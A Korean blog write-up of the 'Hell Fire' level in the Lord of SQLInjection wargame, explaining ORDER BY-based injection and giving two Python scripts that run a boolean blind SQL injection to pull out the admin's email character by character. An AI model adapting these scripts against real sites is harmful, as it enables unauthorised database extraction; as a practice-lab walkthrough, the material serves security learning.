[Lord of SQLInjection] Hell Fire Write UP
작성자 - LRTK
새로운 문제 유형이 나왔다.
공격 백터는 order, email 입력 값에 대한 검증은 밑과 같다.
order 필터링 : prob, _, ., proc, union
email addslashes() : ', ", \, null 바이트
-> \', \", \\, \null 바이트
문제를 클리어하기 위해선 admin의 email 값을 알아내야한다.
첫번째 쿼리문은 select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}
로 order by를 이용하여 정렬을 시켜서 반환 값을 표로 출력한다.
Order by 절의 기본 구조
SELECT * FROM table_name ORDER BY column_name (ASC, DESC)
데이터를 지정된 컬럼으로 정렬하기 위한 SQL 문이다.
ASC는 오름차순이고 DESC은 내림차순이다. 설정을 안해주면 기본값으로 ASC가 설정된다.
Order by 절의 각종 사용 방법
- 기본 형태
SELECT * FROM table_name ORDER BY column_name
- ALIAS 사용
SELECT sal + comm AS total FROM emp ORDER BY total
- 열의 숫자를 사용
SELECT * FROM table_name ORDER BY 3
3번째 열을 기준으로 정렬하는 쿼리 - 여러 열을 기준으로 사용
SELECT * FROM table_name ORDER BY 3, 1 DESC
3번째 열을 기준으로 ASC로 정렬한 상태에서 1번째 열을 기준으로 DESC으로 정렬하는 쿼리
Order by 절을 이용한 Injection
위와 같이 Boolean으로도 정렬이 가능하다.
또한 ()
묶음 안에 또 다른 SQL 쿼리를 넣어서 정렬도 가능하다.
이를 이용하여 SQL Injection이 가능하다.
예시로 id를 이용한 SQLI이다.
이제 어떻게 Injecion을 하는 방법을 알았으니, email의 길이를 구해보도록 하겠다.
나는 if문을 이용하여 email의 길이를 구해보겠다. 위의 사진은 rubiya 계정으로 테스트한 모습이다.
만약 False면 두 계정의 위치가 반대로 나오게 된다.
위와 같이 참을 1로 잡으면 0일 때와 위치가 같으므로 이번엔 수정을 해줘야 참과 거짓의 결과가 다르게 나온다.
admin의 email 길이를 구할 수 있었다.
import requests, string
url = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php'
headers = {'Cookie': 'PHPSESSID=iegqpi5jat9ttonpb159g4baim'}
def pwParser():
result = ''
for num in range(1, 28+1):
for s in string.ascii_lowercase + string.digits + string.punctuation:
parameter = f"?order=if(SUBSTR((SELECT email WHERE id='admin'),{num},1)='{s}',0,1)"
res = requests.get(url + parameter, headers=headers)
if "<th>score</th><tr><td>admin" in res.text:
print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
result += s
break
print(result)
pwParser()
자꾸 6번째 값이 출력되지 않는다….
혹시 특수문자가 문자 그대로 들어가서 URL에서 인식을 못한 거 같아서 HEX값으로 다시 한번 보내봤다.
import requests, string
url = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php'
headers = {'Cookie': 'PHPSESSID=iegqpi5jat9ttonpb159g4baim'}
def pwParser():
result = ''
for num in range(1, 28+1):
for s in string.ascii_lowercase + string.digits + string.punctuation:
parameter = f"?order=if(SUBSTR((SELECT email WHERE id='admin'),{num},1)={hex(ord(s))},0,1)"
res = requests.get(url + parameter, headers=headers)
if "<th>score</th><tr><td>admin" in res.text:
print(f'pw의 {num}번째 값 >>>>', s, hex(ord(s)))
result += s
break
print(result)
pwParser()
하지만 19번째 값이 찾지를 못하였다.
하지만 결과를 보니, 어떤 문자가 없는 지를 알 수 있었다.
이메일에서 가장 필요한 @
이 없었다.
추측한 대로 @
를 삽입하니 클리어할 수 있었다.
'워게임 > Lord of SQLInjection' 카테고리의 다른 글
[Lord of SQLInjection] Green Dragon Write UP (0) | 2021.08.14 |
---|---|
[Lord of SQLInjection] Evil Wizard Write UP (0) | 2021.08.10 |
[Lord of SQLInjection] Dark Eyes Write UP (0) | 2021.08.07 |
[Lord of SQLInjection] Iron Golem Write UP (0) | 2021.08.07 |
[Lord of SQLInjection] Dragon Write UP (0) | 2021.08.07 |